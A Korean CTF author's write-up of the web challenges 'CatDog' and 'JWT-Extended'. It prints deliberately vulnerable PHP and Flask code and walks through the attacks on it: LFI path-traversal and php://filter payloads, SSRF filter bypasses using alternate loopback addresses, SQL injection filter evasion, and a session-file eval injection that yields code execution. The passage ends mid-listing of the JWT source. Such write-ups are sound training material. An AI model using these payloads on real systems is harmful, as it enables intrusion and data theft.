babyweb ๋ฌธ์ œ๋ฅผ ๋‚ด๋ฉด์„œ ์ทจ์•ฝ์ ์„ ์‰ฝ๊ฒŒ ์•Œ์•„๋ณผ ์ˆ˜ ์žˆ๋„๋ก login.php, join.php ๋“ฑ์—์„œ๋Š” ์ž‘์€ ๋”ฐ์˜ดํ‘œ๋ฅผ ์‚ฌ์šฉํ–ˆ๊ณ , getxmldata.php์—์„œ๋Š” ํฐ ๋”ฐ์˜ดํ‘œ๋ฅผ ์‚ฌ์šฉํ–ˆ์œผ๋ฉฐ, SQLI ์ทจ์•ฝ์ ์„ ์ง๊ด€์ ์œผ๋กœ ์•Œ์•„๋ณผ ์ˆ˜ ์žˆ๋„๋ก mysqli_real_escape_string์„ ์ „์—ญ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  xss_filterํ•จ์ˆ˜์™€ ๊ฐ™์ด ๋ณด์ด๊ฒŒ ์‚ฌ์šฉํ•˜์˜€๋‹ค.

$query = xss_filter(mysqli_real_escape_string(๋ฐ์ดํ„ฐ));

CatDog


๐Ÿ’ก
lfi + sqli + ssrf description์˜ cat์€ php, dog์€ python flask๋ฅผ ์˜๋ฏธํ•œ๋‹ค. 8888ํฌํŠธ๋กœ ๋Œ๊ณ  ์žˆ๋Š” php๋Š” flag ํŒŒ์ผ์˜ read ๊ถŒํ•œ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ๋‚ด๋ถ€์—์„œ ๋Œ๊ณ  ์žˆ๋Š” flask๋ฅผ ์ด์šฉํ•˜์—ฌ flag ํŒŒ์ผ์„ ์ฝ์–ด์˜ค๋Š” ๊ฒƒ์ด ๋ชฉํ‘œ์ž„. ์ด flask ์„œ๋ฒ„๋Š” localhost๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋‹ค. ์›น์„œ๋ฒ„์—์„œ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ฐ€์ง€๋Š” 'www-data' ๊ถŒํ•œ์ด ์•„๋‹Œ 'php' ์œ ์ €๋กœ ๋Œ์•„๊ฐ„๋‹ค๋Š” ์„ค๋ช…์ด flask ํฌํŠธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ํžŒํŠธ์ž„. lfi๋ฅผ ํ†ตํ•ด flask ํฌํŠธ๋ฅผ ์•Œ์•„๋‚ธ ํ›„ ssrf๋ฅผ ์ด์šฉํ•˜์—ฌ flask ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๋ฉด /flag path์—์„œ passcode๋ฅผ ์š”๊ตฌํ•œ๋‹ค. ์ด passcode๋Š” sqli๋ฅผ ์ด์šฉํ•˜์—ฌ ์–ป์–ด๋‚ผ ์ˆ˜ ์žˆ๋‹ค. /flag?passcode=@@@@์™€ ๊ฐ™์ด passcode๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

1. index.php ์†Œ์Šค์ฝ”๋“œ ์ถ”์ถœ + lfi ์ทจ์•ฝ์ 

  • ๋ฉ”์ธํŽ˜์ด์ง€์—์„œ view-source๋ฅผ ํ•˜๋ฉด 68๋ฒˆ์งธ ๋ผ์ธ์— ์ฃผ์„์œผ๋กœ index.php/?source ๊ฐ€ ์žˆ๋‹ค.
<?php
    include_once "header.php";
    include_once "config.php";
    if(isset($_GET['source'])){
        echo "<div style='margin-top: 6rem;'/>";
        highlight_file(__FILE__);
        die();
    }
    
    $page = $_GET["page"];
    if(isset($page) and is_string($page)){
        if(preg_match("/.php/", $page) === 0){
            $page .= ".php";
        }

        if(preg_match("/(login|register)/", $page) === 0 && $_SESSION["username"] == null){
            echo "<script>alert('Please Login!');location.href='/?page=login';</script>";
            die();
        }
        include $page;
        die();
    }
?>
<!-- index.php/?source -->
<div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">
    <div>
        <img src="/images/bg.jpg" style="width: 100%; height: 80vh; object-fit: cover; opacity: 0.5"/>
    </div>
    <div style="display: flex; justify-content: center;">
        <div style="font-size: 4rem;">
            meow
        </div>
    </div>
</div>
  • index.php/?source ์— ์ ‘๊ทผํ•˜๋ฉด index.php ์˜ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.
  • $page ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ includeํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์•„ lfi ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.
        if(preg_match("/.php/", $page) === 0){
            $page .= ".php";
        }
  • $page ํŒŒ๋ผ๋ฏธํ„ฐ์— .php ๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ๋งˆ์ง€๋ง‰์— .php ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ์ง€๋งŒ, ํ•ด๋‹น ์ •๊ทœํ‘œํ˜„์‹์€ .php ๊ฐ€ ์กด์žฌํ•˜๊ธฐ๋งŒ ํ•œ๋‹ค๋ฉด ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.
  • ๋”ฐ๋ผ์„œ /?page=/.php/../../../../../../etc/issue ์™€ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ†ตํ•ด file leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
  • ๋˜ํ•œ, /?page=php://filter/convert.base64-encode/resource=articles ์™€ ๊ฐ™์ด php wrapper๋ฅผ ์ด์šฉํ•˜์—ฌ ์„œ๋น„์Šค์— ์กด์žฌํ•˜๋Š” php ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ชจ๋‘ leakํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

2. ssrf ์ทจ์•ฝ์ 

  • ๋‹ค์Œ์œผ๋กœ articles๋ฅผ ๋ณด๋ฉด ๊ธ€ ์ž‘์„ฑ ์‹œ ์ด๋ฏธ์ง€๊ฐ€ ์ž๋™์œผ๋กœ ์ฒจ๋ถ€๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด ์ด๋ฏธ์ง€๋ฅผ mypage์—์„œ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค.
<!-- ... -->

<?php
    if(isset($_POST["type"])){
        sleep(3);
        $url = trim($_POST["url"]);

        if(preg_match("/^(http\:\/\/|https\:\/\/)/", $url) === 0 || preg_match("/(127\.0\.0\.1|localhost)/", $url) === 1){
            echo("<script>alert('Don\'t hack!');location.href='/?page=mypage';</script>");
            die();
        }

        if(!isset($url) || $url == ""){
            echo("<script>alert('Enter the image URL!');location.href='/?page=mypage';</script>");
            die();
        }

        if($_POST["type"] === "p"){
            $data = base64_encode(file_get_contents($url));
            $src = "data: png;base64,${data}";
            echo "<img src='${src}' style='height: 40vh; width: 100%; object-fit: cover;'/>";
        }

        else if($_POST["type"] === "o"){
            $stmt = $sql->prepare("update user set img = ? where username = ?");
            $stmt->bind_param('ss', $url, $_SESSION["username"]);
            $stmt->execute();
        
            $result = $stmt->get_result();
            echo "<script>alert('Complete.');location.href='/?page=articles'</script>";
        }
    }
?>

<!-- ... -->
  • mypage์˜ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด preview๋ฅผ ๋ˆŒ๋ €์„ ๋•Œ file_get_contents ๋ฅผ ์ด์šฉํ•˜์—ฌ url ์˜ ๊ฐ’์„ ๊ฐ€์ ธ์˜จ ํ›„ base64๋กœ ์ธ์ฝ”๋”ฉํ•˜์—ฌ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์—ฌ์ค€๋‹ค.
  • ์ด ๋•Œ file_get_contents ๋ฅผ ์ด์šฉํ•œ file leak์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด http/https scheme ๋ฅผ ๊ฐ•์ œํ•˜์˜€์œผ๋ฉฐ, localhost ์™€ 127.0.0.1 ์˜ ๊ฐ’์„ ๋ง‰์•„๋‘์—ˆ๋‹ค.
  • ์—ฌ๊ธฐ์„œ ๋„๋ฉ”์ธ์„ localhost ์™€ 127.0.0.1 ๋Œ€์‹  http://0 ์ด๋‚˜ 10์ง„์ˆ˜ ํ‘œํ˜„ http://213070643 ๋˜๋Š” 16์ง„์ˆ˜ ํ‘œํ˜„ http://0x7F000001 ๋“ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ์šฐํšŒํ•˜๋ฉด ssrf ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

3. ํžŒํŠธ

  • ๋‹ค์‹œ ๋ฌธ์ œ description์„ ์‚ดํŽด๋ณด๋ฉด ์ฃผ๋จธ๋‹ˆ์— ๊ฐœ ๋ฅผ ์ˆจ๊ฒจ๋‘์—ˆ์œผ๋ฉฐ, ํ”Œ๋ž˜๊ทธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๊ณ  ํ•œ๋‹ค. ํ˜„์žฌ๋กœ์„  ๊ฐœ๊ฐ€ ์–ด๋–ค ๊ฐœ ๊ฐ€ ์–ด๋–ค ๊ฒƒ์„ ์˜๋ฏธํ•˜๋Š”์ง€ ์•Œ ์ˆ˜ ์—†๋‹ค.
  • ๋‹ค์Œ์œผ๋กœ, ํ•˜๋‹จ์˜ ๋ฐ•์Šค๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ์›น์„œ๋ฒ„๊ฐ€ www-data ๊ฐ€ ์•„๋‹Œ php ์œ ์ €๋กœ ๋Œ๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์›น์„œ๋ฒ„์˜ ์œ ์ €๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๋Š” ํŠน์ˆ˜ํ•œ ๊ฒฝ์šฐ์ด๊ธฐ ๋•Œ๋ฌธ์—, ์˜์‹ฌํ•ด๋ณผ ์—ฌ์ง€๊ฐ€ ์žˆ๋‹ค.
  • php ๊ณ„์ •์— ๋Œ€ํ•œ ํžŒํŠธ๋ฅผ ์–ป์—ˆ์œผ๋‹ˆ, lfi ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด /etc/passwd ํŒŒ์ผ์„ ํ™•์ธํ•ด๋ณด์ž.
  • ํ•ด๋‹น ํŒŒ์ผ์—๋Š” php ๊ณ„์ •๊ณผ python ๊ณ„์ •์ด ์กด์žฌํ•˜๋ฉฐ, /home/php ์™€ /home/python ๊ฐ€ ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์ง€์ •๋˜์–ด ์žˆ๋‹ค. ๋˜ํ•œ, ๊ณ„์ • ์ ‘๊ทผ ์‹œ /bin/bash ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์•„ ์‰˜์„ ์‚ฌ์šฉํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • php ๊ณ„์ • ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ์— ์กด์žฌํ•˜๋Š” .bash_history ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด localhost ์˜ 2026 ํฌํŠธ๋กœ curl ์š”์ฒญ์„ ๋‚ ๋ฆฌ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๋ฌธ์ œ description์˜ ๊ฐœ ๊ฐ€ ์›น ์„œ๋น„์Šค๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • ํ•ด๋‹น ํฌํŠธ์—์„œ ๋Œ๊ณ  ์žˆ๋Š” ์›น ์„œ๋น„์Šค๋Š” localhost ์—์„œ๋งŒ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค์ •ํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์—, ์ด์ „์— ๋ฐœ๊ฒฌํ–ˆ๋˜ ssrf ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์š”์ฒญ์„ ํ•ด์•ผ๋งŒ ํ•œ๋‹ค.

4. ์ˆจ๊ฒจ์ง„ ์›น ์„œ๋น„์Šค(dog) ์š”์ฒญ

  • mypage ์—์„œ http://0:2026 ์œผ๋กœ preview ๋ฅผ ์š”์ฒญํ•˜๋ฉด ์ •์ƒ์ ์œผ๋กœ ์š”์ฒญ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
http://0:2026

Well done! Go to /flag
  • ํ•˜๋‹จ์˜ ์ด๋ฏธ์ง€๋ฅผ ์ƒˆ ํƒญ์—์„œ ์—ด๊ธฐ ๋“ฑ์„ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด localhost ์˜ 2026 ํฌํŠธ๋กœ ๋Œ๊ณ  ์žˆ๋Š” ์›น ์„œ๋น„์Šค ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, /flag path๋กœ ์ด๋™ํ•˜๋ผ๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ๋‚˜ํƒ€๋‚œ๋‹ค.
http://0:2026/flag

Usage : /flag?passcode=
/flag has a delay for 3sec.
Do not bruteforce!
  • /flag path์— ์ ‘๊ทผํ•˜๋ฉด passcode ๋ฅผ ์š”๊ตฌํ•œ๋‹ค. mypage ํŽ˜์ด์ง€์™€ ๋™์ผํ•˜๊ฒŒ 3์ดˆ์˜ ๋”œ๋ ˆ์ด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
http://0:2026/flag?passcode=1234

Wrong passcode!
Go back to PHP... You can get the passcode in PHP
  • ์•„๋ฌด passcode ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์œ„์™€ ๊ฐ™์€ ์•ˆ๋‚ด ๋ฉ”์‹œ์ง€๊ฐ€ ๋‚˜ํƒ€๋‚œ๋‹ค. ํ˜„์žฌ ์„œ๋น„์Šค์—์„œ passcode ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— php ์„œ๋น„์Šค๋กœ ๋Œ์•„๊ฐ€์ž.

5. sql injection โ†’ passcode ํ™•์ธ

  • articles.php ํŽ˜์ด์ง€์˜ ์ƒ๋‹จ์„ ๋ณด๋ฉด ๊ฒ€์ƒ‰ ๋ฐ•์Šค๊ฐ€ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
<!-- ... -->

<?php
		  $s = $_GET["search"];
		  $search = "%${s}%";
		  
		  $page = $_GET["p"];
		  if(!isset($page) || $page == "" || !is_numeric($page)){
		      $page = 1;
		  }
		  else{
		      $page = intval($page);
		  }
		  $page -= 1;
		  if($page < 0) $page = 0;
		  $start = $page*10;
		  
		  if(preg_match("/(\ |\n|\t|\r|@|insert|update|delete|=|like|admin|substr|concat|-|ascii|`|load|into|clue|text\")/i", $search) === 1){
		      echo "<script>alert('Don\'t hack!');history.back();</script>";
		      die();
		  }
		  $query = "select id, title, content, author, img from board where title like '${search}' or content like '${search}' order by id desc limit ${start}, 10";
		  $result = mysqli_query($sql, $query);
		
			while ($row = mysqli_fetch_array($result)){
					echo "<li onclick=\"location.href='/?page=view&id=${row['id']}';\">";
					echo "<img src=\"${row['img']}\" style=\"width: 100%; height: 20vh; object-fit: cover; \">";
					echo '<div class="post-info">';
					echo '<div class="post-basic-info">';
					echo "<h3><a href=\"#\">${row['title']}</a></h3>";
			              echo "<p>${row['content']}</p>";
			              echo "<span><a href=\"#\">Writer: ${row['author']}</a></span>";
					echo '</div>';
					echo '</div>';
					echo '</li>';
		  }
?>

<!-- ... -->
  • articles.php ์˜ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๊ฒ€์ƒ‰ ๊ตฌ๋ฌธ์—์„œ sql injection ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • ํ•˜์ง€๋งŒ ์ƒ๋‹จ์˜ ์ •๊ทœํ‘œํ˜„์‹์—์„œ ์–ด๋Š ์ •๋„์˜ ๊ณต๋ฐฑ๊ณผ =, like ๋“ฑ์„ ํ•„ํ„ฐ๋ง ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ์ ์ ˆํžˆ ์šฐํšŒํ•˜์—ฌ ํ•„์š”ํ•œ ์ •๋ณด๋ฅผ ์–ป์–ด๋‚ด์•ผ ํ•œ๋‹ค.
  • ๊ณต๋ฐฑ์ด ํ•„ํ„ฐ๋ง ๋˜์—ˆ์œผ๋‹ˆ \x0b ๋˜๋Š” /**/ ๋“ฑ์˜ ์ฃผ์„์„ ์ด์šฉํ•˜์—ฌ ๊ณต๋ฐฑ์„ ๋Œ€์ฒดํ•˜๊ณ , like ์™€ = ๊ฐ€ ํ•„ํ„ฐ๋ง ๋˜์—ˆ์œผ๋‹ˆ in ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋น„๊ต๋ฅผ ํ•ด์ฃผ์ž.
  • sql injection์„ ํ†ตํ•ด ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ ํ…Œ์ด๋ธ” ๋ฆฌ์ŠคํŠธ๋ฅผ ์ถ”์ถœํ•˜์˜€์œผ๋ฉฐ, ๊ทธ ์ค‘ p4SSc0D3 ํ…Œ์ด๋ธ”์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • p4SSc0D3 ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ๋ช…์€ passcode์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

6. flag ํ™•์ธ

  • passcode๋Š” 5UP3R_S3CUR3_STR0NG_P4S5C0D3 ์ธ ๊ฒƒ์„ ํ™•์ธํ–ˆ์œผ๋‹ˆ, ์ด์ „์— ํ™•์ธํ•œ ์›น ์„œ๋น„์Šค(๊ฐœ)์— passcode๋ฅผ ์ž…๋ ฅํ•˜๋ฉด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.
  • FLAG : bob{sabeon_eun_gaein_juiya}

7. ์—ฌ๋‹ด (1)

  • sql injection์„ ํ†ตํ•ด admin ํ…Œ์ด๋ธ”๊ณผ clue ํ…Œ์ด๋ธ”์ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
// ...

if(preg_match("/(\ |\n|\t|\r|@|insert|update|delete|=|like|admin|substr|concat|-|ascii|`|load|into|clue|text\")/i", $search) === 1){
    echo "<script>alert('Don\'t hack!');history.back();</script>";
    die();
}

// ...
  • ํ•˜์ง€๋งŒ ๋Œ€ํšŒ ์„œ๋น„์Šค ์ค‘ articles.php ์˜ ํ•„ํ„ฐ๋ง์œผ๋กœ ์ธํ•ด clue ์™€ admin ๋ชจ๋‘ ์ ‘๊ทผ์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ์ƒํƒœ์˜€๋‹ค.
  • admin ํ…Œ์ด๋ธ”์€ admin ๊ณ„์ • ์˜ ํ‰๋ฌธ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ €์žฅํ•ด๋‘์—ˆ๋‹ค.
<!-- ... -->

<?php
    if($_SESSION["username"]){
        if($_SESSION["username"] === "admin"){
            echo "<li><a href=\"/?page=readme\"><span>Readme</span></a></li>";
        }
        echo "<li style=\"position: absolute; left: 10rem;\"><a href=\"#\" style=\"cursor: default;\"><span>USER : ${_SESSION['username']}</span></a></li>";
        echo '<li style="position: absolute; right: 10rem;"><a href="/?page=mypage"><span>Mypage</span></a></li>';
        echo '<li style="position: absolute; right: 3rem;"><a href="/?page=logout"><span>Logout</span></a></li>';
    }
    else{
        echo '<li style="position: absolute; right: 3rem;"><a href="/?page=login"><span>Login</span></a></li>';
    }
?>

<!-- ... -->
  • ๊ทธ๋ฆฌ๊ณ  admin ๊ณ„์ • ์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด readme.php ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ฉ”๋‰ด๊ฐ€ ์ƒ๊ธด๋‹ค.
<!-- ... -->

<?php
    if($_SESSION["username"] !== "admin"){
        echo '<script>alert("Invalid access.");history.back();</script>';
        die();
    }

    $stmt = $sql->prepare("select text from clue where 1 limit 1");
    $stmt->execute();

    $result = $stmt->get_result();
    $row = $result->fetch_assoc();
    
    $data = file_get_contents($row["text"]);

    
    echo $data;
?>

<!-- ... -->
  • readme.php ํŽ˜์ด์ง€๋Š” clue ํ…Œ์ด๋ธ”์— ์กด์žฌํ•˜๋Š” ํžŒํŠธ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์•„์™€ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ์—ญํ• ์„ ํ•œ๋‹ค.
  • ๋Œ€ํšŒ ์ „ ๋‚ , ์ž ๊ฒฐ์— ์ฝ”๋“œ ์ˆ˜์ •ํ•˜๋‹ค admin ๋ฌธ์ž์—ด์„ ํ•„ํ„ฐ๋ง์— ๋„ฃ๋Š” ๋ฐ”๋žŒ์—,, admin ๊ณ„์ • ์˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์•Œ์•„๋‚ด์ง€ ๋ชปํ•˜๊ฒŒ ๋˜์–ด ํžŒํŠธ ํŽ˜์ด์ง€๊ฐ€ ์‚ฌ๋ผ์ง€๊ฒŒ ๋˜์—ˆ๋‹ค.
  • ์ด๋ฅผ ์ธ์ง€ํ–ˆ์„ ๋• ์ด๋ฏธ solver๊ฐ€ ๋‚˜์™”๊ธฐ ๋•Œ๋ฌธ์— ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์–ด ํžŒํŠธ ํŽ˜์ด์ง€๋Š” ์—†์—ˆ๋˜ ๊ฒƒ์œผ๋กœ,,, ๋˜์—ˆ๋‹ค.
  • ์œ„ ์Šคํฌ๋ฆฐ์ƒท์ด ์ด์ œ๋Š” ๋“ค์–ด๊ฐˆ ์ˆ˜ ์—†์–ด์ ธ๋ฒ„๋ฆฐ ํžŒํŠธ ํŽ˜์ด์ง€ ๋‹ค.

8. ์—ฌ๋‹ด (2) โ†’ Unintended Solution

  • ์ด์ง„*, ๊น€๊ฒฝ* ๋‹˜๊ป˜์„œ ์œ„์— ์„ค๋ช…ํ–ˆ๋˜ /home/php/.bash_history ์ฐธ์กฐ๋ฅผ ํ†ตํ•œ ํ’€์ด๊ฐ€ ์•„๋‹Œ rce ๋กœ ๋ฌธ์ œ๋ฅผ ํ’€์ดํ•˜์—ฌ, ์ด์— ๋Œ€ํ•œ ์„ค๋ช…๋„ ์ง„ํ–‰ํ•˜๊ฒ ๋‹ค.
  • lfi์™€ sqli์˜ ๊ณผ์ •์€ ๋™์ผํ•˜๋‹ค.
  • ํ—ค๋” ๋ฉ”๋‰ด๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด, ๋กœ๊ทธ์ธ ์‹œ USER : {USERNAME} ์˜ ํ˜•ํƒœ๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
<!-- ... -->

<?php
    if($_SESSION["username"]){
        if($_SESSION["username"] === "admin"){
            echo "<li><a href=\"/?page=readme\"><span>Readme</span></a></li>";
        }
        echo "<li style=\"position: absolute; left: 10rem;\"><a href=\"#\" style=\"cursor: default;\"><span>USER : ${_SESSION['username']}</span></a></li>";
        echo '<li style="position: absolute; right: 10rem;"><a href="/?page=mypage"><span>Mypage</span></a></li>';
        echo '<li style="position: absolute; right: 3rem;"><a href="/?page=logout"><span>Logout</span></a></li>';
    }
    else{
        echo '<li style="position: absolute; right: 3rem;"><a href="/?page=login"><span>Login</span></a></li>';
    }
?>

<!-- ... -->
  • header.php ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด $_SESSION['username'] ์œผ๋กœ ์„ธ์…˜์— ์ €์žฅ๋œ username์„ ๊ฐ€์ ธ์˜จ๋‹ค.
  • username์— <?=eval($_GET[0])?> ์™€ ๊ฐ™์€ PHP expression tag๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ eval ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•œ ํ›„ ํšŒ์›๊ฐ€์ž… ๋ฐ ๋กœ๊ทธ์ธํ•œ๋‹ค.
  • ์ดํ›„ ์ผ๋ฐ˜์ ์œผ๋กœ ์„ธ์…˜์ด ์ €์žฅ๋˜๋Š” ์œ„์น˜์ธ /var/lib/php/session/ ๋””๋ ‰ํ† ๋ฆฌ์˜ sess_{PHPSESSID} ํŒŒ์ผ์„ lfi ์ทจ์•ฝ์ ์„ ํ†ตํ•ด includeํ•˜์—ฌ rce ํ•œ๋‹ค.
  • ์œ„์™€ ๊ฐ™์ด rce ๋ฅผ ์ง„ํ–‰ํ•œ ํ›„, python flask ์†Œ์Šค์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” /app ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ฐพ์•„ ํ•ด๋‹น /app/app.py ๋ฅผ ์ฝ์–ด ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ธ๋‹ค.
  • ๊ทธ๋ฆฌ๊ณ  curl ๋ช…๋ น์–ด ๋˜๋Š” ssrf ์ทจ์•ฝ์  ์„ ์ด์šฉํ•˜์—ฌ http://localhost:2026/flag ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•œ๋‹ค.

  • php ๊ณ„์ •์€ /flag ํŒŒ์ผ์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๊ถŒํ•œ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— cat /flag ๋˜๋Š” lfi ์ทจ์•ฝ์  ์œผ๋กœ๋Š” ์ฝ์„ ์ˆ˜ ์—†๋‹ค.

JWT-Extended


๐Ÿ’ก
์•ˆ์ „ํ•˜์ง€ ์•Š์€ Flask-JWT-Extended ๋ชจ๋“ˆ ์‚ฌ์šฉ
  • JWT ํ† ํฐ์„ ์ „์†กํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๋กœ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.
  • ๋ฌธ์ œ์—์„œ /flag๋กœ ์•„๋ฌด๋Ÿฐ ๊ฐ’์„ ๋„ฃ์ง€ ์•Š๊ณ  ์ ‘๊ทผํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ msg๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค. ์—ฌ๊ธฐ์„œ cookies or headers ๋ผ๋Š” ๋ฌธ๊ตฌ๋ฅผ ํ†ตํ•ด ํ† ํฐ ๊ฐ’์„ ์ ์ ˆํžˆ ๋„ฃ์–ด์ค„ ๊ณณ์„ ์˜ˆ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.
  • Cookie์™€ Header๋ฅผ ๋ฒˆ๊ฐˆ์•„๊ฐ€๋ฉฐ ๋งŒ๋ฃŒ๋˜๊ฑฐ๋‚˜ ๋งŒ๋ฃŒ๋˜์ง€ ์•Š์€ ๊ฐ’์„ ์‚ฝ์ž…ํ•œ ํ›„ ์ „์†กํ•˜๊ฒŒ ๋˜๋ฉด ํ’€๋ฆฌ๋Š” ๋ฌธ์ œ๋‹ค.

๋ฌธ์ œ ์ƒ์„ธ ์„ค๋ช…

  • ์›๋ž˜์˜ ๋ฌธ์ œ ์†Œ์Šค๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.
#!/usr/bin/env python3
from flask import (
    Flask,
    request,
    jsonify
)
from flask_jwt_extended import (
    JWTManager,
    jwt_required,
    create_access_token,
    decode_token,
    get_jwt_identity,
)

from jwt.utils      import base64url_decode
from jwt.algorithms import get_default_algorithms

import datetime, time, json
 

def is_expired(token):
    if decode_token(token, allow_expired=True)['exp'] < int(time.time()):
        return True   
    
    return False


def create_app(config="app.config.Config"):
    # Setup flask
    app = Flask(__name__)

    app.config.from_object(config)

    @app.route("/")
    def index():
        return "POST : /login <br>\nGET : /flag"
    
    # Standard login endpoint
    @app.route('/login', methods=['POST'])
    def login():
        try:
            username = request.json.get('username', None)
            password = request.json.get('password', None)
        except:
            return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
    
        if username != 'admin' or password != 'admin':
            return jsonify({"msg": "Bad username or password"}), 401
    
        access_token = create_access_token( identity=username,
